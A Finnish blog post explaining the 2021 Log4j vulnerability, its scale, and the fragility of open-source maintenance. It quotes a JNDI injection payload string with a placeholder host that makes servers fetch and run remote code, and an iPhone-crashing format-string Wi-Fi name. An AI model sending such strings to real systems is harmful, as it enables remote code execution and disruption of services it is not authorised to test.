Turvallisuusalalla on pitkään spekuloitu kyberpandemian mahdollisuudella. Heräämmekö jonain päivänä maailmaan, jossa tietomurrot tai haittaohjelmat riivaavat kaikkia järjestelmiä saaden yhteiskunnan ja kansalaisten arjen sekaisin?
Tänä viikonloppuna on saatu esimakua kyberpandemiasta. Syynä on Log4j-niminen Java-komponentti, jota käytetään monissa nettipalveluissa. Ohjelmassa on ominaisuus, joka mahdollistaa yksinkertaisen hyökkäyksen: välittämällä palveluun yksinkertainen merkkijono palvelin saadaan hakemaan mistä tahansa nettiosoitteesta koodia, joka suoritetaan saman tien.
Haavoittuvuuksia on ollut aina, mutta Log4j on omaa luokkaansa. Sitä ei ole turhaan sanottu vuosisadan pahimmaksi tietoturva-aukoksi. Kyseessä ei ole varsinainen bugi, vaan pikemminkin suunnitteluvirhe, jota kukaan ei ole tiettävästi aiemmin huomannut käyttää hyödyksi.
Aiempi OpenSSL-haavoittuvuus, suomalaisten löytämä Heartbleed (2014), vaikutti laajalle ja havahdutti huomaamaan avoimen lähdekoodin ongelmat. Sen hyödyntäminen oli kuitenkin hankalaa ja vaati teknistä osaamista. Log4j on aivan toista maata: riittää, että vaihtaa selaimen tai puhelimen merkkijonoksi ${jndi:ldap://url-osoite-tähän/a} ja kertoo, mistä osoitteesta hyökkäyskoodi haetaan. Lapsikin sen osaa. Jopa tämä blogiteksti saattaa laukaista koodin hakuyrityksen, joskin url-osoite-tähän on osoitteena vaaraton.
Hieman vastaavia ongelmia on ollut aiemminkin iPhone-puhelimissa. Kesällä uutisoitiin, miten iPhonen verkkoasetukset hajoavat, jos puhelimella liittyy %p%s%s%s%s%n -nimiseen wifi-verkkoon. Edes puhelimen uudelleenkäynnistys ei auta. Aiemmin puhelimen on voinut sammuttaa lisäämällä tekstiviestiin tietyn merkkiyhdistelmän.
Nyt Log4j:n vaarallinen ominaisuus on korjattu, mutta korjausten asentaminen kaikkiin haavoittuviin järjestelmiin on jättimäinen työ. Kyse ei ole pelkistä nettipalveluista, vaan Log4j-komponenttia on tavattu myös erilaisista elektroniikkalaitteista. Suurin osa palveluista ei edes tiedä, että jossain koneiston uumenissa on haavoittuva palanen. Se selviää vain kokeilemalla, miten palvelu vastaa hakkerointiyritykseen.
Täsä Githubin listasta saa jonkinlaisen aavistuksen ongelman laajuudesta.
Nykyiset tietojärjestelmät koostuvat sadoista komponenteista, joista suurin osa on nettiyhteisön kehittämiä tai ylläpitämiä. Niitä pinotaan päällekkäin ja rinnakkain ilman, että kukaan tietää, mitä haavoittuvuuksia pinoon jää. "Avoin lähdekoodi on turvallista, koska kuka tahansa voi nähdä virheet" on vanha mantra, joka ei pidä enää paikkaansa.
Kaikki käyttävät vapaita ohjelmia -- toisten kirjoittamaa koodia -- eikä kukaan vastaa kokonaisuudesta. Kriittistä koodia saattaa ylläpitää joku yksittäinen henkilö oman työnsä ohella, tai sitten sitä ei ylläpidä enää kukaan. Log4j:n ylläpidosta huolehtii tiettävästi kolme tai neljä henkilöä, ja hekin vain vapaa-ajan projektina. Silti miljoonat ihmiset ja laitteet käyttävät heidän ilmaistyötään.
Tapahtuma herättää kysymään, millaisia pommeja nettipalveluissa piilee? Kuka löytää ne ensimmäisenä - rosvot, tiedustelupalvelut vai valkohattuhakkerit? Tämä viikonloppu ainakin on IT-ylläpidon painajainen. Luultavasti ensi viikolla tulemme näkemään monia tietomurtoja ja vahingontekoja. Joululomat on peruttu muiltakin kuin teho-osaston hoitajilta.
On ollut kiinnostavaa seurata Suomen uutisointia asiasta. Maailmalla Log4j on iso uutinen, "internet is on fire!". Suomessa sen ovat noteeranneet Ilta-Sanomat, Iltalehti ja Helsingin Sanomat. Yle ei vielä tähän mennessä ole reagoinut. It-maailmaa ymmärtäviä toimittajia on vähän, eikä heitä ole viikonloppuisin vuorossa. Tivi-lehti kirjoitti asiasta jo perjantaina, jolloin vakavuudesta ei ollut vielä täyttä selvyyttä. Tilanteen vaarallisuus on paljastunut vasta viikonlopun kuluessa.
Voi vain toivoa, että jos kyberpandemia joskus iskee, se ei ala ainakaan viikonloppuna.
Lisäys 14.12.2021: Vaaralliseksi osoittautunut ominaisuus lisättiin Apache Log4j-komponenttiin versiossa 2.0-beta9, joka julkaistiin 21.9.2013. Vaara huomattiin yli kahdeksan vuotta myöhemmin ja varoitus julkaistiin 9.12.2021. Siinä välissä kukaan ei huomannut asiaa tai ei ainakaan raportoinut siitä vaan käytti aukkoa itse tietomurtoihin. Mitähän muita pommeja järjestelmissä tikittää?
JNDI injection -riskistä oli esitelmä Black Hat 2016 -konferenssissa, mutta puhujat eivät itsekään osanneet yhdistää uhkaa Apache Strutsiin.
Nyt huolestuttavin skenaario on, että joku kirjoittaa haavoittuvuutta hyödyntävän madon. Se voisi levitä palvelimesta toiseen ja halvaannuttaa ison osan internetiä.